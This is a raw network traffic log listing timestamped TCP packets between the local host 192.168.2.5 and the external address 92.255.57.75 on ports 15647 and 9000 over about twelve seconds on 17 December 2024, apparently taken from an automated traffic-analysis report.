Dec 17, 2024 08:39:41.205491066 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.207797050 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.276511908 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.276591063 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.396492958 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.397119045 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.520442009 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.523859024 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.567383051 CET	9000	49939	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.567502022 CET	9000	49939	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.567699909 CET	49939	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.567738056 CET	49939	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.681514025 CET	49945	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.687382936 CET	9000	49939	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.709234953 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.709430933 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.753601074 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.753725052 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.801574945 CET	9000	49945	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.801748991 CET	49945	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.801970959 CET	49945	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.835830927 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.836013079 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.921639919 CET	9000	49945	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.955890894 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.955955029 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:42.021488905 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:42.021574020 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:42.141482115 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:42.141617060 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:42.148144960 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:42.196583986 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:42.268019915 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:42.268182039 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:42.333467960 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:42.333616972 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:42.453591108 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:42.453653097 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:42.453747988 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:42.493344069 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:42.580147982 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:42.580266953 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:42.766040087 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:42.766205072 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:42.892816067 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:42.893769026 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:42.957710981 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:42.957860947 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:43.077645063 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.078047991 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.078211069 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:43.126842022 CET	9000	49945	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.126888990 CET	9000	49945	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.127027035 CET	49945	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:43.127151966 CET	49945	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:43.205827951 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.207194090 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:43.246767998 CET	9000	49945	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.255356073 CET	49948	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:43.375309944 CET	9000	49948	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.375622988 CET	49948	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:43.375808001 CET	49948	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:43.390830040 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.390945911 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:43.495481968 CET	9000	49948	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.519366026 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.521471977 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:43.705065012 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.705178022 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:43.834388018 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.834525108 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:43.896141052 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:43.896262884 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.017649889 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.017863035 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.139779091 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.139842033 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.147331953 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.196463108 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.330945015 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.331103086 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.452219009 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.452380896 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.643076897 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.643208027 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.700773954 CET	9000	49948	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.700932026 CET	49948	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.700941086 CET	9000	49948	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.700984001 CET	49948	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.764333963 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.764425039 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.806405067 CET	49952	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.820779085 CET	9000	49948	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.834932089 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.835040092 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.926232100 CET	9000	49952	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.926384926 CET	49952	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.926588058 CET	49952	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.954884052 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:44.955013990 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:44.955363989 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:45.009032011 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:45.046576023 CET	9000	49952	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:45.076566935 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:45.076647997 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:45.266911983 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:45.267184019 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:45.388482094 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:45.388567924 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:45.580116987 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:45.580286980 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:45.701494932 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:45.701653957 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:45.773257017 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:45.773399115 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:45.893282890 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:45.893424034 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.013345957 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.015794039 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.084536076 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.084613085 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.204513073 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.204576015 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.205337048 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.249155998 CET	9000	49952	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.249176979 CET	9000	49952	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.249325037 CET	49952	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.249360085 CET	49952	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.258953094 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.317534924 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.317611933 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.365319967 CET	49958	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.369286060 CET	9000	49952	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.396584988 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.399876118 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.485507011 CET	9000	49958	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.487879038 CET	49958	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.488020897 CET	49958	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.511502028 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.511857986 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.608074903 CET	9000	49958	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.629416943 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.631871939 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.752859116 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.752949953 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.824189901 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.824693918 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:46.945034027 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:46.947817087 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.057738066 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.059875965 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.137449980 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.137608051 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.257311106 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.257431984 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.259896040 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.259994030 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.370173931 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.371824980 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.491607904 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.491740942 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.561806917 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.561888933 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.681898117 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.683772087 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.683845997 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.727771997 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.799413919 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.799635887 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.815381050 CET	9000	49958	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.815397024 CET	9000	49958	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.815525055 CET	49958	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.815702915 CET	49958	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.874294043 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.874465942 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.931452036 CET	49963	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:47.935378075 CET	9000	49958	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.989737988 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:47.991986036 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:48.052120924 CET	9000	49963	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:48.052221060 CET	49963	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:48.052390099 CET	49963	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:48.109818935 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:48.110107899 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:48.172097921 CET	9000	49963	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:48.231415987 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:48.231504917 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:48.303952932 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:48.304020882 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:48.422096014 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:48.422198057 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:48.541482925 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:48.541579008 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:48.614614964 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:48.614784002 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:48.734055996 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:48.735826969 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:48.854649067 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:48.854773998 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:48.974443913 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:48.975778103 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.047813892 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.047915936 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.167637110 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.167756081 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.282573938 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.283822060 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.360974073 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.363866091 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.376760006 CET	9000	49963	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.376816988 CET	9000	49963	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.376970053 CET	49963	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.376992941 CET	49963	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.479116917 CET	49965	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.480993986 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.483814955 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.496793985 CET	9000	49963	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.594990015 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.595136881 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.600552082 CET	9000	49965	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.600641012 CET	49965	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.600884914 CET	49965	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.674449921 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.674536943 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.720611095 CET	9000	49965	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.794446945 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.794600010 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.795734882 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.795830965 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:49.907493114 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:49.907670021 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:50.029501915 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:50.029717922 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:50.151339054 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:50.151427984 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:50.222470999 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:50.222600937 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:50.342523098 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:50.342974901 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:50.343444109 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:50.383953094 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:50.457750082 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:50.459541082 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:50.534728050 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:50.535015106 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:50.649738073 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:50.649909019 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:50.769773006 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:50.769948006 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:50.890635014 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:50.890748024 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.010287046 CET	9000	49965	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.010309935 CET	9000	49965	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.010341883 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.010418892 CET	49965	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.010493040 CET	49965	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.010495901 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.121629953 CET	49969	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.130124092 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.130234957 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.130251884 CET	9000	49965	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.201527119 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.201620102 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.241614103 CET	9000	49969	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.241709948 CET	49969	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.241837978 CET	49969	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.274108887 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.274885893 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.361577034 CET	9000	49969	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.393460035 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.394895077 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.513946056 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.514853954 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.634605885 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.635817051 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.706675053 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.707850933 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.826773882 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.826857090 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:51.945506096 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:51.945580006 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.018651009 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.018735886 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.138540030 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.138680935 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.138798952 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.180869102 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.253637075 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.253758907 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.373572111 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.373739958 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.450650930 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.450754881 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.480834961 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.481268883 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.566127062 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.566174984 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.568510056 CET	9000	49969	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.568579912 CET	9000	49969	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.568624973 CET	49969	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.568728924 CET	49969	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.600965023 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.601038933 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.601628065 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.681396008 CET	49976	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.688429117 CET	9000	49969	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.721436977 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.721510887 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.801208973 CET	9000	49976	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.803467035 CET	49976	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.803616047 CET	49976	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.841356993 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.841428995 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:52.923348904 CET	9000	49976	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.961168051 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:52.961224079 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:53.081022978 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:53.081089973 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:53.200918913 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:53.203883886 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:53.323923111 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:53.327797890 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:53.447628975 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:53.497226954 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:53.616936922 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:53.616988897 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:53.736805916 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:53.736855984 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:53.804682016 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:53.804755926 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:53.856475115 CET	15647	49975	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:53.856626034 CET	49975	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:53.924401045 CET	15647	49975	92.255.57.75	192.168.2.5
